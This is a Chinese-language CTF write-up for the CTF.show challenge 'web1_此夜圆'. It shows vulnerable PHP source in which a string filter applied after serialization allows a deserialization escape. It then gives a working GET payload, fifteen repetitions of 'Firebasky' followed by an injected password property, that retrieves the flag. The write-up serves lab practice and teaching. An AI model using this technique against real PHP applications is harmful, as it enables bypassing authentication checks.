CTF.show：web1_此夜圆

先看一下源码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

看题目是构造一个反序列化逃逸。
因为str_replace('Firebasky','Firebaskyup',$string);的存在，传入Firebasky后会多两个字符。

因为我们要逃逸的是这串字符s:8:"password";s:5:"yu22x";}
因为我们只能读入一个uname，而原来的password默认为1，试着构造

O:1:"a":2:{s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

我们这句话里，要覆盖掉原来的password，需要";s:8:"password";s:5:"yu22x";}利用这句话，一共有30位，而每个str_replace多两位，所以一共需要用15个Firebasky来构造逃逸。因此，构造payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

得到flag